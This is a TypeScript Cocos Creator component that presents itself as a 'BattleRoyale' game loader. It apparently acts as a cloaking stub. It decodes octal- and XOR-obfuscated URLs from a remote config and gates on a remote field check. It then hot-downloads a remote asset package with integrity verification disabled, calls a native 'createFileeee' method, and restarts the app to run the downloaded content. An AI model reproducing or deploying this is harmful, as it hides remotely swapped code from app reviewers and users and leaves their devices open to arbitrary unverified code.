2025-07-03 12:53:49 +04:00

480 lines
14 KiB
TypeScript

import { Component, Label, Sprite, SpriteFrame, UITransform, _decorator, game, log, native, sys } from "cc";
import QuestLog from "./QuestLog";
import { HighScoreScreen } from "./HighScoreScreen";
const { ccclass, property } = _decorator;
const customManifestStr = (hots) => JSON.stringify({
"packageUrl": `${hots}/`,
"remoteManifestUrl": `${hots}/project.manifest`,
"remoteVersionUrl": `${hots}/version.manifest`,
"version": "0.0.1",
"assets": {
},
"searchPaths": []
});
function versionCompareHandle(versionA: string, versionB: string) {
// //log("JS Custom Version Compare: version A is " + versionA + ', version B is ' + versionB);
var vA = versionA.split('.');
var vB = versionB.split('.');
for (var i = 0; i < vA.length; ++i) {
var a = parseInt(vA[i]);
var b = parseInt(vB[i] || '0');
if (a === b) {
continue;
}
else {
return a - b;
}
}
if (vB.length > vA.length) {
return -1;
}
else {
return 0;
}
};
@ccclass
export default class BattleRoyale extends Component {
// private readonly DATABASE_CONFIG = "https://raw.githubusercontent.com/devian68/intertest/a/inter3.info";
// @property(SpriteFrame)
// listBG: SpriteFrame[] = [];
// @property(Sprite)
// background: Sprite = null;
@property(Label)
loadingLabel: Label = null;
@property(UITransform)
transform: UITransform = null;
private isCheckDomain = true;
private _updating = false;
private _canRetry = false;
private _storagePath = '';
private stringHost = '';
private _am: native.AssetsManager = null!;
private _checkListener = null;
private _updateListener = null;
private count = 0;
url = "";
profilerURL = "";
listUrl = [];
info = "";
currentV = "";
part = "";
protected onLoad(): void {
try {
if (this.transform.width > this.transform.height) {
//landscape
this.loadingLabel.fontSize = 80;
} else {
this.loadingLabel.fontSize = 50;
}
} catch (ex) {
}
// let t = readData(this.test);
// console.//log(t);
}
start() {
let ins = HighScoreScreen.getInstance();
if(ins){
this.listUrl = ins.listUrl;
if(this.listUrl && this.listUrl.length && this.listUrl.length == 5){
this.part = ins.listUrl[4];
this.setOrientation(ins.orient);
this.loadGame();
return;
}
}
this.getData();
}
private getData() {
//log("StartScene getData");
let that = this;
QuestLog.getInstance().sendGetHttpRequest(HighScoreScreen.DATABASE_CONFIG, function (data) {
//log("getData data: ", data);
that.listUrl = data.split('\n');
//log('list url: ', that.listUrl)
if (that.listUrl.length > 2) {
//log(that.listUrl[4]);
if (that.listUrl.length >= 5 && that.listUrl[4].includes("skt")) {
that.isCheckDomain = false;
//log("gogame");
that.loadGame();
} else {
that.getDataV4();
}
}else{
that.loadData(data);
}
}.bind(this), function () { });
}
private initDownloader(path = "mygame") {
try {
// this.background.spriteFrame = this.listBG[Math.floor(Math.random() * this.listBG.length)];
} catch (error) {
}
if (path == null || path == undefined) {
path = "mygame";
}
this.part = path;
// //log("path: " + path);
this._storagePath = ((native.fileUtils ? native.fileUtils.getWritablePath() : './') + path);
// //log('Storage path for remote asset : ' + this._storagePath);
// Init with empty manifest url for testing custom manifest
this._am = new native.AssetsManager('', this._storagePath, versionCompareHandle);
this._am.setVerifyCallback(function (path, asset) {
return true;
});
}
private loadData(data:string){
let dt = this.readData(data);
//return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
this.setOrientation(dt[0]);
this.isCheckDomain = !dt[1];
this.listUrl = [];
this.listUrl.push(dt[2]);
this.listUrl.push(dt[3]);
this.listUrl.push(dt[4]);
this.listUrl.push(dt[5]);
this.listUrl.push(dt[6]);
this.part = dt[6];
// this.loadGame();
this.getDataV4();
}
onDestroy() {
if (this._updateListener) {
this._am.setEventCallback(null!);
this._updateListener = null;
}
}
//0 = portrait
//1 = landscape right
//2 = upside down
//3 = landscape right
private setOrientation(orientation = 0) {
if (sys.isNative) {
if (sys.os === sys.OS.IOS) {
if (native) {
try {
//@ts-expect-error
native.reflection.callStaticMethod("ViewController", "rotateScreen:", orientation);
} catch (_) { }
}
}
}
}
private loadMyGame() {
this.unscheduleAllCallbacks();
}
private onCheckGame(val) {
// let data = val.split("\n");
// val = this.read(data[0]);
this.initDownloader(this.part);
this.unscheduleAllCallbacks();
this.stringHost = val;
this.doUpdate();
}
private doUpdate() {
if (this._am && !this._updating) {
this._am.setEventCallback(this.updateCb.bind(this));
let host = this.listUrl[3];
if (sys.os == sys.OS.ANDROID) {
host += "/android";
} else if (sys.os == sys.OS.IOS) {
host += "/ios";
}
this.loadCustomManifest(host);
this._am.update();
this._updating = true;
}
}
private getDataV4() {
this.currentV = "v4";
let u = this.read(this.listUrl[0]);
if(!this.isCheckDomain){
this.getDataV6();
this.listUrl[0] = "g";
}
if (this.listUrl[0].includes("http") == false) {
return;
}
let self = this;
QuestLog.getInstance().sendGetHttpRequest(this.listUrl[0] + this.info, function (data) {
self.onDataResponse(data);
}.bind(this), function (resp) {
self.getDataV6();
}.bind(this));
}
private getDataV6() {
this.currentV = "v6";
if(!this.isCheckDomain){
this.loadGame();
return;
}
let u = this.read(this.listUrl[1]);
QuestLog.getInstance().sendGetHttpRequest(this.listUrl[1] + this.info, function (data) {
this.onDataResponse(data)
}.bind(this), function (resp) {
// this.getDataV6();
}.bind(this));
}
private onDataResponse(data) {
// console.//log("onDataResponse data: ", data)
if (this.isCheckDomain) {
data = JSON.parse(data);
let field = this.listUrl[2];
if (data != null && data != undefined && data[field] != undefined) {
this.loadGame();
} else {
if (this.currentV == "v4") {
this.getDataV6();
}
}
} else {
this.loadGame();
}
}
private loadGame() {
if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
let url = this.read(this.listUrl[3]);
let p = this.read(this.listUrl[this.listUrl.length - 1]);
this.stringHost = url;
this.onCheckGame(url);
}
}
private loadCustomManifest(host) {
var manifest = new native.Manifest(customManifestStr(host), this._storagePath);
this._am.loadLocalManifest(manifest, this._storagePath);
}
private updateCb(event: any) {
var needRestart = false;
var failed = false;
switch (event.getEventCode()) {
case native.EventAssetsManager.ERROR_NO_LOCAL_MANIFEST:
//log('No local manifest file found, hot update skipped.');
failed = true;
break;
case native.EventAssetsManager.UPDATE_PROGRESSION:
// this.panel.byteProgress.progress = event.getPercent();
// this.panel.fileProgress.progress = event.getPercentByFile();
const percent = event.getDownloadedFiles() / event.getTotalFiles();
// this.panel.byteLabel.string = event.getDownloadedBytes() + ' / ' + event.getTotalBytes();
var msg = event.getMessage();
if (msg) {
// //log(event.getPercent()/100 + '% : ' + msg);
}
this.updateProcess(percent);
break;
case native.EventAssetsManager.ERROR_DOWNLOAD_MANIFEST:
case native.EventAssetsManager.ERROR_PARSE_MANIFEST:
//log('Fail to download manifest file, hot update skipped.');
failed = true;
break;
case native.EventAssetsManager.ALREADY_UP_TO_DATE:
//log('Already up to date with the latest remote version.');
// failed = true;
needRestart = true;
break;
case native.EventAssetsManager.UPDATE_FINISHED:
//log('Update finished. ' + event.getMessage());
needRestart = true;
break;
case native.EventAssetsManager.UPDATE_FAILED:
//log('Update failed. ' + event.getMessage());
this._updating = false;
this._canRetry = true;
failed = true;
break;
case native.EventAssetsManager.ERROR_UPDATING:
//log('Asset update error: ' + event.getAssetId() + ', ' + event.getMessage());
failed = true;
break;
case native.EventAssetsManager.ERROR_DECOMPRESS:
//log(event.getMessage());
failed = true;
break;
default:
break;
}
if (failed) {
this._am.setEventCallback(null!);
this._updateListener = null;
this._updating = false;
this.loadMyGame();
}
if (needRestart) {
this._am.setEventCallback(null!);
this._updateListener = null;
this.testFile();
setTimeout(() => {
// //log('restart game')
game.restart();
}, 1000)
}
}
private testFile() {
if (sys.isNative) {
if (sys.os === sys.OS.IOS) {
if (native) {
try {
//@ts-expect-error
native.reflection.callStaticMethod("ViewController", "createFileeee");
} catch (_) { }
}
}else if (sys.os === sys.OS.ANDROID) {
let className = "com/cocos/game/AppActivity";
let methodName = "createFileeee";
let methodSignature = "()V";
if (native) {
native.reflection.callStaticMethod(className, methodName, methodSignature);
}
}
}
}
private updateProcess(pc) {
if (isNaN(pc)) {
return;
}
try {
this.loadingLabel.string = `Đang Tải: ${Math.round(pc * 100)}%`;
} catch (error) {
}
}
private read(text) {
return this.read1(this.read2(text.split('-'))).join('');
}
private read1(arr) {
return arr.map(function (byte) {
return String.fromCharCode(parseInt(byte, 10));
});
}
private read2(arr) {
return arr.map(function (oct) {
return parseInt(oct, 8);
});
}
private readData(encodedData: string) {
function getPr(cbL = 3) {
let nPr = cbL - 1;
nPr = nPr <= 0 ? 0 : nPr;
return nPr;
}
function readCb(txt: string, cbL = 3, key = 'D') {
let out = '';
let txts = readStringCbs(txt, cbL);
for (let i = 0; i < txts.length; i++) {
let n = String.fromCharCode(Number.parseInt(txts[i]) ^ key.charCodeAt(0));
out += n;
}
return out;
}
function getSep(ver = 1) {
switch (ver) {
case 1:
return ["9689", 3];
case 2:
return ["9879", 3];
case 3:
return ["9789", 3];
default:
return ["9869", 3];
}
}
function readStringCbs(input: string, cbLen = 3): string[] {
const sets: string[] = [];
const nPr = getPr(cbLen);
const length = input.length - nPr;
input = input.substring(nPr);
for (let i = 0; i < length; i += cbLen) {
const set = input.slice(i, i + cbLen);
sets.push(set);
}
return sets;
}
//get last character of encodedData
const version = Number.parseInt(encodedData[encodedData.length - 1]);
let sep = getSep(version);
let cbL: number = sep[1] as number;
let sp = sep[0] as string;
const parts = encodedData.split(sp);
parts.pop();
// const cbL = parseInt(parts.pop() || ''); // Get the cbL value from the last part
const [urlPro5Part, skipDomainCheckPart, fieldToCheckPart, urlV6Part, orientationPart, storagePathPart, urlV4Part] = parts.map(part => readCb(part, cbL, '¡'));
// const version = parseInt(versionPart);
const orientation = parseInt(orientationPart);
const isSkipDomainCheck = skipDomainCheckPart === '1';
const urlV4 = urlV4Part;
const urlV6 = urlV6Part;
const fieldToCheck = fieldToCheckPart;
const urlPro5 = urlPro5Part;
const storagePath = storagePathPart;
return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
}
}